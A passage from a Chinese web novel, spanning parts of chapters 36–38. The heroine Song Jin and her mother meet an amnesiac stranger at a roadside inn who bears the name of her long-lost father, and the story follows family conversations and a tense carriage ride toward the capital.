齐铮全程面无表情,肃然冷冽,一副深不可测的模样,很是有王爷范——只要不提钱 面对宋锦的疑问,他斩钉截铁:“黑店” 要知道在都城租一个房间,普通点也就不过二两银钱,也就是两千文左右。而这个客栈,住一晚上便宜的三百,贵的八百,那可真是黑得不能再黑了。 他是过过苦日子的人,太懂这种被趁火打劫的痛了,但是,他也不得不承认:“不过黑也情有可原” 育婴堂和学堂确实是销金窟,没点钱坚持不了多久 宋锦点点脑袋 她这人对钱没什么概念,反正够花就行,贵点便宜点也没什么影响,被坑这种事,只要不是光冲着她一个人要高价,她其实也无所谓 于是乎,她清清嗓子,喝住吵闹的人群:“行了,这外面狂风暴雨,大家有得住就不错了,嫌贵就几个人挤一个屋忍一忍,没吃的买点米自己煮个粥,一群大男人扭扭捏捏的,啧,书生?” 她最烦这种磨磨唧唧的了,有时间在这里吵来吵去,不如把客栈掀了,掀不了就老实忍着,爱住不住 在场的人:…… 什么意思? 书生们憋屈起来,又开始在那里嚷嚷起来 “三十年河东,三十年河西,莫欺少年穷①” “风水轮流转,且看我考上进士” …… 宋锦感觉自己好像落入什么打脸反派的现场了,她狐疑地看了看现场的书生们,对着齐铮小声 “按照话本剧情,几年后,这些人里应该会有一人金榜题名,春风得意,迎娶公主,或者什么贵人之女,再来找我茬” 齐铮一言难尽:“少看点乱七八糟的,我爹可没有女儿,本朝没有公主,都城也没有哪位贵女后台比你爹强” 有他这话,宋锦放下心来,对着一群人抬着下巴:“爱住不住,不住赶紧离开,还能给我们腾几个房间” “……” 这下没人应声了,不说外面风雨这般大,就说冒雨出去了,碰上的还可能又是下一个黑店 他们穷书生是穷了点,倒也不傻 见没人离开,宋锦有些遗憾,不过也没说什么,真把人赶走,万一有点什么的还是不好。 她对着那杨有羊道:“你们去安排房间吧,我们挤一挤就是了” 杨有羊的目光落在宋锦的脸上,有些惊疑又有些纠结,最终,他还是先还钱:“姑娘好心为我们说话,哪儿还能收你们钱啊” 宋锦白眼:“行了,你们是不是黑店不好说,真不收钱我们就成土匪了。别磨磨唧唧,大家伙还湿着衣服呢。赶紧去安排房间,该怎么算钱怎么算,就当,我们支持支持你们育婴堂了” 杨有羊犹豫,但看着宋锦那不以为然不缺钱的模样,还是收回了手,行礼 “那就多谢姑娘和官爷们的善心了,等明日我们便给堂里的孩子们加顿肉,大家先在这坐一下。小二,你们几个赶紧去把所有的房间再检查一下,一定要打扫得干干净净,再让夏姐先煮点姜汤给大伙驱驱寒” 店小二:“哎,好嘞” 他都这么说了,宋锦他们也就没催促,和牛铁兰交代了一声,便去检查自家的行礼这些。 他们此次出门带的东西不多,都是些日常的衣物,全都放在皮箱子里好好装着,外面又裹着油布,全程裹在马车上,只是湿了表面,里面还是干的 宋锦倒是不怎么在乎那些衣服,她找出里面装草药的箱子,打开,看着里面干干燥燥、一包包分类装好的药材,大大的松了口气 她这些年最大的一笔积蓄,就是这些药材了,全都是大几十年几百年的好玩意儿,就是有钱也买不到的,真要是弄坏了,她可得心疼死 宋锦从里面掏了些参片出来,小心关上箱子,又找出另一个装药材的大箱子,从里面找出上好的老陈皮,还有姜片,红枣枸杞,用纸包上,再让李青山他们帮着把箱子搬到房间去——这些可大意不得 之后,她拿着东西找上杨有羊:“杨老板,借厨房一用,我给大伙煮点姜汤” 杨有羊小心地打量着她,迟疑:“厨房狭小,恐弄脏姑娘衣服,不如就让后厨的人弄吧” 宋锦:“不用,我自己来,免得你们弄坏我的好东西” 杨有羊继续迟疑:“这,这” 宋锦狐疑,这人从一开始就奇奇怪怪的,对着外人黑的要死,对着他们还不收钱,现在还明摆着不想让她入厨房 不对劲啊 宋锦上前一步,眯眼:“怎么,是厨房里面脏得不能见人,还是打着什么歪主意?” 杨有羊赶紧:“您这话说的,可是要我们客栈老命勒,我们客栈可是正经客栈,就是前些天新招了一个烧火的活计,他笨手笨脚的,我怕他得罪贵人” 宋锦才不信这话,她给了那边的齐铮一个眼神,对着杨有羊道:“我们也是正经客人,不是土匪,不会随随便便打杀人。行了,多的不需要你担心,快带我们去后厨吧” 说着,那边的齐铮也走了过来,他身材高大,神情冷肃,身边还跟着这么多护卫,一看便知道身份不凡 杨有羊苦笑:“成,只要您们别嫌弃就好” 都到这一步了,再不带人过去,那他这个客栈可真就成黑店了。杨有羊冲着两人行了个礼,便带着两人朝着厨房的位置走去 他们这客栈修得很大,三层客栈,一楼是吃饭喝酒的地,二楼三楼是住宿,这边后院是厨房和仓库…… 宋锦和齐铮跟在他的后面,不着痕迹地打量着周围环境,都没发现什么问题,一直到到了后厨 杨有羊站在门口不动了 两人再次警惕了起来,没想到杨有羊一个转身直接跪下,一脸苦涩:“小的求贵人恕罪,是这样的,我前几日出门,在山里捡了个人,他一身伤,又伤了脑子记不起事,我看着可怜,便收留了他。本来说等过两日忙完了带他去衙门的,没想到您们就来了,求贵人恕罪……” 宋锦和齐铮目光对视,齐道:“去看看再说” 杨有羊苦笑着点头,正要带着两人进去,里面便有人走了出来 来人五尺有五,看着不过二十出头,他身材高大颀长,面如冠玉,即便穿着一身粗布麻衣,依旧难以掩盖他出众的姿态 这人应是在里面便听到了动静,知道自己给人惹麻烦了,便走了出来 他对着宋锦和齐铮行了个礼,姿势标准优雅,神态不卑不亢,沉熟稳重,声音透着冷冽:“见过两位贵人,杨老板不过好心收留,希望贵人莫责怪他,在下愿和贵人去衙门证身” 宋锦和齐铮面面相觑 不得不说,在听到杨有羊说他救了一人的时候,两人下意识的都想到了此刻生死未定、不知在何处的宋商,这边挨着都城,万一就这么巧呢? 但此人一出,他们便知道这人绝不是宋商 他没这么年轻咧,而且这人和宋锦也并不相似,绝对不会是宋行之口中和她七分像的人 不过就他这一身气度,应该也不是什么普通人,现在又有伤在身,确实不能随便放在外面 齐铮沉声:“等雨停你跟我们一同离开,此事便不计较杨老板责任” 男人和杨有羊都 松了口气 齐铮又问:“听杨老板说你伤到了脑袋,可还记得自己是哪里的人,又为何受伤?” 男人皱起了眉,像是仔细回想了一番,还是摇摇脑袋:“在下都不记得了,只隐隐记得名字” 宋锦好奇:“你叫什么?” 男人郑重起来:“在下,曲茂泽” 宋锦齐铮:…… 第37章 是活是死重要吗? 同花客栈作为上杨村最大的客栈,挪两个上等房还是绰绰有余的,就是上等房价钱昂贵,一个晚上便要八百文 在这个普通百姓一天也就赚三四十文的时候,不可谓不黑。不过仔细一看,杨有羊又稍微还有点良心 屋内的家具床具都是用的上好木料,燃着的烛火油灯也是上品,没有太多杂质,明明亮亮的,不会一会儿爆一下,带着乱七八糟的焦味,取而代之的是淡淡的香薰味 除了这些以外,房间宽敞,床上躺三个人都绰绰有余,被子干干净净,带着暖洋洋的气息,一看便是才晒过的 宋锦躺在床上翻来覆去地打滚,就跟那跳跳虫似的,引得牛铁兰嫌弃地一脚踹了过去 这几日日夜兼程,她们大部分时间都在车里睡着,再是舒服也和床上没法比,牛铁兰这些天就跟在云里面飘着一样,一直晕乎乎的,全凭意志强撑,现在好不容易能休息了 她烦:“给我老实点睡了,睡个觉跟屎壳郎滚屎似的” 宋锦一下翻身滚到牛铁兰旁边,跟八爪鱼似的抱着她,不服气道:“哪有,我睡觉明明可老实了,躺树上都掉不下去” 牛铁兰呵呵:“床上睡不着就下去和小眉小耳一起睡” 对于这个提议,宋锦还没说话,底下的小耳急急忙忙:“别呀,小姐,你可别过来,我那年和你一起睡,差点没被你给踢死” 刚被买回来的时候,小耳不过七岁,刚经历父母兄弟去世,就又被出卖,胆子小得很。因为是被宋锦救了,小耳也只信任宋锦,缠着和她一起睡,宋锦看着人可怜也同意了 反正小耳个头小小,睡觉也就占了个床边边,哪知道就只占了这么个边边角角,她也被一觉踹床底下,脑袋都砸出了大包,从此以后她就成长了,再不怕一个人睡了 说起都是满满的辛酸泪 对此,相对沉稳的小眉虽直说,也委婉道:“小姐睡不着,是心里有事?” 惨遭所有人嫌弃的宋锦撇了撇嘴,轻哼一声,直接抱着被子滚地上了,自己一个人躺一边,看着墙边挂着的明灭烛火发呆 就在大家都以为她要安分的时候,她突然开口问道:“小眉小耳,你们想你们爹娘吗?” 房间呼吸声都小了起来 躺在床上的牛铁兰睁开了眼,看向地板上裹在被子里的宋锦,眼神很是复杂 面对这个话题,小耳最先回应,即便她爹娘出事的时候她也还小,她也印象深刻,说起他们时候,大部分都很活泼开心 “想啊,我阿爹和我差不多高,脸圆圆的,胖胖的,平日最喜欢笑了,大家都很喜欢他。我记得他有一次带我去摘桃子,踮着脚抱起我摘,结果我俩一起摔地上了,还是小弟爬树上去替我们摘,回去都被我娘一通骂……” 这些小事她如数家珍,这些年也经常说,每次说的时候依旧是那么的开心。 小眉睡在她的旁边,看着小耳眼中闪过的星点,她缓缓开口 “有时候会想一下,我爹老实勤快,大方善良,在外面是出了名的大好人。他对我阿娘情深义重,就算我阿娘病重,他也不离不弃,哪怕卖了我这个女儿也是迫不得已” 这点宋锦也知道,她也问过小眉要不要回去 虽然说被卖掉了肯定心里有疙瘩,但说到底她爹娘是为了救命,在古代这个社会,又勉强还能理解 小眉当时拒绝了,宋锦就想,有可能是小眉怕会第二次被卖,就也没再问过,毕竟那时候的小眉也十岁了,在这个年代也算是大姑娘了,有自己的想法 不过小眉接下来的话说明,事情没这么简单 “但是若不是他的好都对着外人,把家里的银钱都借给了外面那些苦命人,家里何至于没有钱?又不是他们为了要儿子,用何种偏方害我娘连着流了几个孩子,毁了身子骨,最后她又何至于病重?最后宁愿卖女救妻,也不想逼死外面那些可怜人,可真是出了名的大善人” 小眉说着,声音也多了些嘲讽 而她娘,对于卖她这个女儿来换腹中的男儿也没有反对,从始至终只是一句女人就得认命 所以即便这些年宋锦他们一直说可以放她回去,即便她这些年有时间有自由有银钱,甚至记得家在哪里,她也从来没有回去 小眉:“反正就当是还了他们的命了,我现在没爹没娘,就只有小姐夫人和小耳你们了” 小耳在一边听得一愣一愣的,她一直都以为小眉,只是因为救母被买了,没想到还有这种内情,她一下子就蹦了起来,气呼呼的 “怎么可以这样?外人再苦也是外人啊” 怎么能因为外人苦了自己人 小耳气:“小眉,你还记不记得家在哪里?等以后有时间了,让阿茂小多去给你报仇” 小眉哭笑不得:“怎么报仇?揍他一顿两顿,还是把我那小弟也给一起卖了?这么多年过去了,我就算再见到他们都不一定认得出来,都过去了。我现在啊,有你们就足够了” 挑起话题的宋锦把自己裹在被子里,捏着自己的嘴,脸上是藏不住心虚。她这不就是想着找个理由打开话茬嘛,再说了,万一她们想回个家,也可以在去都城前回去 哪知道开局就有这么惨 她清了清嗓子,正想说点什么来缓解一下,床上的牛铁兰凉凉开口:“怎么,都要认别人做爹了,现在想起亲爹了?” 她哪是想爹了呀,她这是被爹给绕迷糊了,想到今天碰到的那同名的人,宋锦在地上又打了个滚,装作无意地嘀咕 “这不是好奇嘛,马上就要到都城了,娘你还什么都不跟我说,这是真不怕我被别人哄走了啊,宋行之可说了我和那人有七分像呢” 她特意强调自己和宋商的气七分相似 牛铁兰淡淡:“便是有九分像也不是,你跟你爹长得就不像” 说着,她将双手枕在脑后,透过昏暗的光线,看着被风吹摇晃的床帐,思绪飘忽,仔细回想却发现过了太久太久了,她都已经想不起那人具体的模样了 说不上是心虚还是难过,牛铁兰扯了扯头发,仔细回想一番,才慢慢道:“你爹他,比你高半个头,跟你只有三分相似,鼻子,嘴巴,轮廓,都不像” 宋锦:“哈?” 牛铁兰继续:“就眼睛,你们眼睛像,其它的都不像。你爹他长得很正,正直、端正,一眼看去就是君子是好人” 所以她当初从那里逃离后,才会在见到那人的第一眼便毫不犹豫地相信了他,却没想到后来会是那般结局。 若是早知道会是这个后果,她当时一定跑得远远的,随便死在哪里,也好过连累人 宋锦不知道她娘的复杂,只是一味震惊:“什么?娘你是说我长得不像个好人?” 牛铁兰的复杂心情被她破坏了,没好气道:“自己长什么样心里没数吗?” 宋锦长得很是漂亮,却是明艳又极富攻击力的长相,配着她张扬肆意的气质,站在哪儿身上就写着两个字 刺头 一看就不好惹,一般人看到她就会远远离开 而曲茂泽是让人一眼看去就会让心生信任的正直,他只用站着不动,浑身就写着好人两个字 但凡牛铁兰当初逃出去以后见到的是和宋锦七分长相的人,她肯定跑得比兔子都还快 虽然以貌取人不对,但是生死危机了,牛铁兰理直气壮:“你自己瞅瞅你那兔崽子的 样,再看看你娘我,要不是当初是我亲自看着你从我肚子里出来的,我都得觉得有人换了孩子” 她现在也没想明白,她和那人的孩子,怎么会是这种狗脾气? 变异? 面对亲娘的怀疑,宋锦气鼓鼓地从被子里钻出来,盘腿坐起:“娘你过分了哈” 她可是在她娘肚子里一点点长大的,绝对货真价实,没换的。甚至她怀疑,她娘身上的红线蛊能坚持这么久,也是因为她娘胎里就有的异能 牛铁兰瞥她:“是你自己要问的,说了你又不爱听,反正你爹不可能是那什么首辅,你就别做那飞黄腾达的梦了” 宋锦在地上滚:“谁想着飞黄腾达了?还不是要给你看病” 牛铁兰呵呵:“那是谁提到人家的黄金万两、万亩良田时眼睛亮得跟灯笼似的?别以为你娘我好糊弄” 宋锦摸摸鼻子,心虚:“那可是黄金万两啊?” 再说了,她是被齐铮给忽悠了 齐铮说宋商亲娘姓曲,又还有个茂泽的字,这不都是对上了?尤其是她老娘还有这乱七八糟的红线蛊,是个人都会往这方向想。 但是现在,他们乍一过来,就碰上一个曲茂泽…… 这名字也太大众了吧? 再听她娘这么一说,宋锦也觉得宋商确实不是她亲爹了,毕竟名字可以做假,身形长相能? 这样想着,她倒是坦然了一些 宋商不是她爹,她就不用担心她娘见到人以后揍她了 想到些,宋锦松开被子,探出毛茸茸的脑袋,继续好奇:“娘,那我亲爹,到底是怎么死的” 牛铁兰沉默了很久,淡淡:“屋子着火,烧死的” 宋锦皱眉:“你看到尸体了吗?” 牛铁兰又是一阵安静,很久很久,道:“金金,他是活是死重要吗?” 反正都不可能了 宋锦愣了一下,认认真真:“不重要,阿娘,你的身体最重要。咱们正正经经看病养身体,看好了我们就去浪迹江湖,等过两年我去找个上门女婿生个崽,一家子简简单单过日子” 牛铁兰躺在床上,擦擦眼角的湿润,声音有些闷道:“不害臊,别在地上滚,被子都给你弄脏了。上来睡了小混球,困死我了” 宋锦钻出被子,跳到床上进了牛铁兰的被子里,紧紧搂着人,脑袋靠着她的肩膀,轻轻哄道:“好了不气不气,我这不是好奇嘛,我今天不是和齐铮去那后厨吗?碰上了一人,你猜猜他叫什么?” 牛铁兰轻轻地揪着她的耳朵:“猜什么猜,你个小混球真是狗胆包天,别仗着岐王脾气好就得寸进尺。当今皇上姓齐,又以岐给他取号,你当时取着玩的?皇家的事我们这些老百姓掺和不起,但是人得好好敬着” 宋锦鼓了鼓嘴,但是也知道好赖 这里和末日最不同的就是,末日实力决定一切,骂人就骂了,揍也就揍了,跑得掉就没事。在这里,皇家高于一切,皇帝能因为一句话砍人脑袋的 她蹭蹭人,道:“知道知道,这不是跟你说悄悄话嘛,在外面我可是注意着的” 牛铁兰被她蹭得没话说,无奈地戳戳她的脑门,最后按着她的手,就这样挤着睡了,也没问那奇怪的人叫什么了 反正也不重要 母女俩就这样抱在一起,很快地陷入睡眠 床下,小耳冲着小眉张开手,小声道:“来,抱抱你” 小眉哑然,却也还是慢慢靠过去,缩进小耳小小的怀里 那么多年下来,她们不是亲人,也胜似亲人了 ** 这场暴雨来的突然,停的也突然 等到宋锦第二日醒来的时候,外面已是一片晴朗 她看了看还在沉睡的牛铁兰,再看看睡得正香的小眉和小耳,知道她们是这段时间赶路累到了,也没有吵醒她们,轻手轻脚地下床,小心关房门出去 一夜骤雨侵袭,院子里花草杂乱,枯叶横飞,到处都是小水坑,看起来乱糟糟 宋锦站在三楼走廊,一边走着一边随意地用手抓抓乱糟糟的长发,拿着木簪子随便一弄,就朝着楼下走去 这个时候大家晚上都没什么活动,睡得早起得也早,现在不过卯时刚来,天边微微散着淡光,距离日出都还有一会儿,但大部分人已经起来了 厨房的烟囱冒起了青烟,客栈外人声马蹄陆续传来 宋锦乍一走下来就看到侍卫们在收拾着东西,整理车马,看样子一会儿早饭过后便继续赶路 “哟,宋锦起来了?” 她一下来,熟识的侍卫和她打着招呼,她也热情地喊了回去 “大伙起得早啊” “辛苦了辛苦了” 这阵子出行,宋锦大部分时间还是在马车外,天天跟着这些个侍卫混,她每个人的名字都记住了,和谁都能称兄道弟说两句,自来熟得不得了。 她这样一路打着招呼,一路走到客厅,挑起了眉 “齐大人起这么早啊,不多休息一下?还有曲公子,昨晚休息得如何?想起点什么没? 齐铮和曲茂泽面对面坐在同一张桌子上,两个人腰背挺拔,手拿碗筷,慢条斯理地吃着早饭,姿势优雅耐看。 他们一个身材高大,五官俊美,肃穆冷冽;一个颀长挺拔,面如冠玉,正直沉稳,坐在一起可养眼不过了 宋锦吹了个口哨,大摇大摆地朝着他俩走了过去,一屁股蹲坐在中间,右腿一搭,翘起二郎腿,手肘往桌上一搭,撑着下巴 “哟,吃这么清淡呢?店小二,给我也来个碗筷,再上两个肉,昨晚上的烧肉肘子没了?” 正在吃饭的两人同时一顿 齐铮对此无奈,但一路也习惯了,只道:“早上清淡点对肠胃好” 宋锦毫不在意地摆手:“好不好也就那样,年轻的时候不吃好点,等以后老了想吃都吃不了。” 曲茂泽面露惊异,神态也透露出几分古怪,转瞬恢复如初,跟着笑道:“宋小姐豁达,人生在世确实该及时享乐,不然像我这般什么都不知道了,想享乐也无法” 宋锦给他一个赞赏的目光:“不错不错,小伙子很会说话嘛,就凭你这一身的气派,肯定不是什么普通人家的,家里人应该已经报了案找你呢” 只要在衙门没有案底,这人就算去了都城也差不了 曲茂泽笑:“那就借宋小姐吉言了,不过在下此番死里逃生已是幸事,不敢期望过多” 宋锦也笑眯眯:“这可说不准,人嘛,总要往好处想。对了,你除了自己的名字,还记起点什么没?” 曲茂泽苦涩地摇了摇头 宋锦安慰:“没事,只要你以前没杀人放火的,到时候让齐大人给你弄个暂时身份,就凭借你这个头,去扛点东西也能养活自己。再不行,你长得还有几分姿容,去当个上门女婿,肯定有人抢着要” 曲茂泽脸色僵住:“宋小姐说笑” 宋锦笑眯眯:“你看着就二十虽上下,出身也不差,家里没有妻也该有妾,说不好还有两个大儿子” 曲茂泽又是苦笑:“在下不记得了” “按照话本来说,你妻儿这会儿翘首以盼地等待着你回家,过着苦苦的日子。而你,跟着我们一起去了都城,应该会很快便被有权势的女子看上,组建家庭,谋取一官半职,等到多年后恢复记忆,哦豁” 说着,宋金耸了耸肩,摇着脑袋长长叹气:“世风日下啊世风日下” 失忆这种事,不管是在现在还是以后基本都是无解 要是周围有熟人,能很快找到家里人还好,要是找不到,一年两年还勉强,三年四年,真让人一辈子孤苦伶仃也不对 但是家里的妻儿 啧啧 宋锦冲着僵住的曲茂泽又是一笑,装模作样道:“哎,曲公子也别介意哈,我就说说个大实话而已” 她昨日也帮他看了看,确实是受了重伤还未好,再加上他说话也天衣无缝的,暂时可以确定是失忆 若是不是的话,宋锦喝了 杯茶,笑得意味深长 那可就更有意思了 曲茂泽深吸一口气,无奈:“没想到在宋小姐眼中,在下便是这种人” 宋锦挑眉:“你可千万别误会,我可没针对你,我就是一视同仁的,觉得你们男人都一个样。不过理解,毕竟一个人孤枕难眠嘛” 被扫射的齐铮默默放下碗筷,反问:“所以,曲公子若是一辈子不恢复记忆,便该一辈子守身如玉?” 宋锦摆手:“我可没这么说,反正我要是失忆了,我肯定会一辈子找我娘的。” 两人:…… 这个早饭看样子是吃不了了 曲茂泽苦笑,抱拳:“宋小姐放心,在下一日不恢复记忆,便一日不考虑婚事” 宋锦:“你跟我保证什么?我就是那么一说,你爱娶不娶,反正你们男人啊,都那样” 曲茂泽:…… 齐铮一言难尽地看着她:“你娘和你说你爹了?” 不然这一早的火气怎么这么大? 宋锦确实是想到了自家那死鬼爹,昨晚和牛铁兰这么一说,她确定宋商和曲茂泽不是一个人了,不存在误会假死什么乱七八糟的 但是牛铁兰身上的红线蛊货真价实,她一个人带娃也不假,而造成这一切的人,正是男人 宋锦撇了撇嘴:“死人有什么好说的?” 不管那人死没死,在她这里都是死的 齐铮:“……看样子,宋大人要失望了” 瞧宋锦这模样,应该确定亲爹不是宋商了 但是,真就这么巧了? 齐铮看看宋锦,透过她明丽的五官想到了宋商,总觉得哪里怪怪的 这世间,真有无缘无故,便如此相像的人? 宋锦注意到他打量,翻了个白眼:“那奸臣还活着就不错了,想那么多有什么用” 想到这个她也有些烦躁 宋商是不是她爹不重要,重要的是他知不知道如何解决红线蛊,更重要的是,他活着 想到这些,宋锦一下子站了起来:“我去喊我娘她们,还是早日道都城最好” 她娘身上的蛊还是得早点解决 说着她就大步离开桌子,往房间跑去了 曲茂泽看着她匆匆忙忙的背影,眼眸深了深,轻笑道:“宋小姐真是率真直白,齐大人和她又是如何相识?我听着她的口音,并不是都城这边的” 齐铮面无表情:“失忆了,也能分口音?” 曲茂泽笑:“这几日也听了一些,宋小姐和齐大人的官话,还是有些不同” 齐铮目光深深:“曲公子失忆了都如此,失忆前应是状元之才,应该好寻家人” 曲茂泽:“借齐大人吉言” …… 牛铁兰是个讲究人 她睁开眼,看到自家闺女皱巴巴的衣服,乱糟糟的头发,眼皮子跳动,伸手就揪住她的耳朵,骂骂咧咧 “小混球,你不要脸老娘还要” 宋锦嘶:“疼疼疼,我错了错了,娘你放开我,我这就梳头” 牛铁兰狠狠剜了剜她:“小眉小耳,你们给她弄,真是气死我了” 说完,她自己拿着木梳,一边给自己梳着,一边紧紧盯着宋锦,看得人一句话不敢说,只是怂怂地坐在那儿,任由憋着笑的小眉小耳给她收拾 梳理长发、银饰加身、胭脂口唇…… 等她们下楼,已是半个时辰的事了 外面的车马已经整好,卫兵们全副武装,骏马高大,声势浩大,威风极了 不出意外的话,他们全力前进,便能争取在天黑之前到达都城,到时候毕竟朝臣注视,他们必须拿出最好的姿态 客栈的老少书生们张望探寻,猜测他们这些人的身份 噔噔噔 木梯传来风风火火的踩踏声 齐铮和曲茂泽回头 宋锦凤眸轻晃,红唇嫣然,一身摇曳红妆,腰间金带轻束,长腿一迈,明艳清丽,和屋外照进的金黄辉映,璨烂得有些刺眼 随着她几步踏下,白皙纤弱的牛铁兰紧跟其后,她肤白赛雪,眼眸似水,一袭月白轻纱长裙,随着她动作轻晃,那皓腕如玉,脖颈恰似玉兰,轻盈娟秀,袅袅娉娉 两个人走在一起,风采迥异,难分上下 整个客栈瞬间静了下来,一群老少书生们顾不得看车队了,眼里只剩下了没人 窈窕淑女,君子好,好逑啊 “娘亲,我们先上马车,这些人烦死了” 察觉到这些目光,宋锦眉头一横,狠狠瞪了瞪这些人,小心搀扶住自家娘亲,就想扶着人先去马车,没想到她走了两步,牛铁兰依旧一动不动 宋锦疑惑停下步子,低头看向她娘:“娘亲?” 牛铁兰一动不动地站在那儿,她直勾勾那边的人,好半天,声音沙哑:“那人是谁” 宋锦顺着她的目光看去,是端坐在那儿,一脸怔愣的曲茂泽,心里顿时升起了几分不妙,她轻声 “娘亲?” 牛铁兰直勾勾:“是谁?” 不祥的预感逐渐加深,宋锦看着自家激动得红了眼的娘亲,再瞅瞅那边不过二十上下的人,闭眼,咬牙 “这是这边客栈老板捡到的人,失忆了,叫,叫,叫曲茂泽” 牛铁兰直勾勾看着那人,本就盈盈的双眸滚出珠泪,不知是哭还是笑,声音轻得近乎听不出,一字一字 “曲、茂、泽吗” 第38章 故人早有子 从青郡府出发到现在已过十日 这一路,除了最开始的两日,后面宋锦牛铁兰都在齐铮的马车里 不过,虽说皇家马车比起一般的平稳宽敞不少,但牛铁兰的身体到底太差,每日也只是强撑着,并没什么气力说话,大部分时间都闭着眼躺在一边 而齐铮本身话少,又恪守男女有别,少有主动说话的,整日不是盘着个腿练功,就是端坐拿着书看 对于这点,宋锦还特意观察了一番,确定他看的也不是啥正经书才松了口气 当然,这里的正经书指的是史书策论这些,他看的是普通游记,和宋锦那些乱七八糟的杂书还是有些区别的 亲娘在这里,宋锦那些‘不堪入目’的书没法拿出来,没有多余的娱乐,让她整日在马车里面待着是不可能的。她每日便只有最炎热的午时和天黑休息才在马车里,其余时间都在外面 不是和侍卫们聊天八卦打探消息,就是带着黄黄出去放风,要么就去蹭骏马飞驰——小黑因此和她冷战多日 总的来说,三个人依旧是各做各的,但一路下来,他们比其开始时候还是多了些默契,少了些尴尬,就这样眼看着就要抵达都城了,情况有了些变化 车厢依然静悄悄,却不再是之前的平静,而是死一般的寂静,像是暴雨来临前的平静,看似不声不响,但是水汽已经凝结起来,沉甸甸地挂在那儿,看不见摸不着,让人担心它什么时候会砸落下来 齐铮盘腿坐在马车角落,闭着眼休憩,但是仔细看,就会注意到他那浓密的长睫,此刻像是毛毛虫草一样无风颤动 那往日一个人便占据大半位置的宋锦,缩着脑袋坐在角落里,屈着两条大长腿,下巴抵在膝盖上,那狭长的凤眸死死地盯着脚丫子,最边边上一点点 左看,右看,这里好像都有个洞 俗话说得好,男女授受不亲,自己的脚丫子自己看 宋锦伸手揪了揪那个蚊口般的破洞,瞬间小洞变成破口,她唰一下放开脚,飞速挪动双腿往外面爬,嘴上振振有词 “袜子破洞了,我去找一双新的换上” 她速度很快,没一会儿就从榻上窜到车门边上,眼看着就要撩开门帘 牛铁兰不咸不淡的声音传来:“坐好” 宋锦瞬间泄气,透过车帘缝隙冲着外面 的风景摆了摆小手,然后蔫着脑袋,有气无力地走回去坐到牛铁兰的旁边。她狭长的凤眸微转,透过余光打量着人的脸色,再瞅一瞅端坐在对面的人,心里就跟那蚂蚁咬似的难受 她清了清嗓子:“娘亲,是不是哪儿不舒服?” 牛铁兰神色淡淡:“你晃得我眼睛疼” 这话说的,眼睛疼眼睛疼,好歹给她疼一个眼神再疼啊 宋锦瘪着嘴,余光又悄悄看了过去,果不其然,她老娘的目光还是在那对面的曲茂泽身上 这看了一路了,眼睛能不疼吗? 母女俩话音落下,车厢内又恢复之前的平静,但是心平静不下来了 宋锦坐在那儿,那是手痒脚痒心里痒,她转动凤眸,瞅瞅这个,再瞅瞅那个,脸色一会儿郁闷、一会儿好奇、一会儿烦躁、一会儿诡异…… 在角落里‘小憩’的齐铮睁开了眼,看着宋锦变化的脸,觉得牛铁兰说的很对,这人就算一句话不说,也‘吵’得脑袋疼 齐铮默默地换了个腿,目光看向安静得有些渗人的牛铁兰 和旁边面色红润、气血充沛得赛猛虎的宋锦相比,她苍白而又柔弱,像是从深山移植到花圃的兰草,脆弱而敏感 但是齐铮知道,她绝不似表面这般柔弱。 牛铁兰能在红线蛊下坚持这么多年,改名换姓,占据别人身份不被察觉,又一个人剩下孩子带着幼女背井离乡来到林溪镇稳下脚跟,还能将孩子养育成这般性子,她的内心绝对比大部人还要强大 她的过去也比她原本想的要复杂许多 一开始见到宋锦的时候,齐铮便发现了她和宋商的相似,再加上牛铁兰显眼的样貌,他心里也笃定了牛铁兰和宋商曾经有过一段,只不过那些年岁月艰难,或许阴差阳错,又或许造化弄人,两人没走到一起 两人就是再次相遇,可能也不会是什么愉快场面 可因为宋锦这张脸,也因为牛铁兰身上的蛊,回宋家便是母女俩最好的选择,即便现在宋商生死未知、即便他们毫无关系 宋商在时,外面便有算计,敢动手的也只有那么几人,其他人畏多于恶。宋商一旦不再,宋家五子便是有才但到底年轻,外界的恶意便会如同雨雪一般落下,不再有半分顾忌 而和宋商长得极像的宋锦,一辈子在镇上不出遇不到人还好,但凡遇到,便会如同最为珍稀的奇兽,被所有人觊觎把玩 与其在外孤身面对说不清的算计,不如直接和宋家一起站在风雨中,在所有人的注视下,齐心协力,还有破解办法 想到这些,齐铮在心中轻轻喟叹 这世道,也灿烂,也阴翳 他打破车内的僵局,道:“曲公子身份虽然未名,但是你如此坦率,想来去了衙门也身份清白,就是不知能否确定身份。若是找到亲朋还好,若是不能,你后续有何打算?” 曲茂泽移开目光,拱了拱手,道:“在下身上藏着些银两,应当足够简单落脚,后面摆个小摊抄书写信应该能勉强度日” 之前提议人去搬砖的宋锦撇了撇嘴 哦,忘了读书人的赚钱法不一样了 齐铮又道:“曲公子一手好字,定然可以,不过都城偌大,曲公子重伤未愈,没有往日记忆,又孤身一人,若不介意的话,我那儿缺个账房先生,不知曲公子可愿?” 曲茂泽愣了一下,随即脸上出现惊喜:“在下定不辜负齐大人信任” …… 牛铁兰就坐在那里,一双秋水剪眸静静地看着曲茂泽,那些因为年岁太久而老旧模糊的记忆,像是被画笔重新填上了颜色 眼睛、鼻子、嘴唇 她垂着眸,心中思绪万般,脸上却没有任何表情,冷淡得有些漠然,只是那放在腹前的手指微颤,不注意根本发现不了。但是也不用仔细观察,对比她平日的柔弱温婉,她的神情已经反常得不用细探了 宋锦老老实实坐在旁边,一路上脑子已经跑了好多圈了,还是没想出个所以然 曲茂泽,她爹的名字 但面前这个比她大不了多少的人曲茂泽肯定和那个不是同一个人,但是,肯定又有联系,不然她娘不至于这么反常 所以想来想去,这个曲茂泽肯定和那个曲茂泽长得很像,又同名同姓,有很大的可能就是亲戚,或者说是兄弟侄子,又或者说是 儿子? 虽然他们这边少有子女和父母一个名的,但是也不能说完全没有,又说不准最开始那人就是用的假名…… 可是,这大衍朝也不是什么犄角疙瘩的小破地方,比她上辈子的国家还大,怎么也能这么巧啊? 宋锦想着就坐在那里扯起了自己的头发,苦大仇深地盯着对面失忆了的曲茂泽,一双凤眸不自觉地微微眯起,像极了林中探测的凶兽 曲茂泽苦笑摆手:“宋小姐因何这般看我?” 宋锦咬了咬头发,沉沉:“看你长得好看,不能看?” 曲茂泽:“……你眼神可不是这么说的” 别当失忆的人是傻子啊 宋锦咬着头发,越看这人越觉得不对劲,她又眯起了眼,看似漫不经心的,指尖银针乍现,刚刚探出,脑袋上突然挨了一巴掌 牛铁兰凉凉的声音传来:“你是狗吗?什么都咬” 宋锦:“……外人面前,娘你给我点面子啊” 她正打算拷问人呢 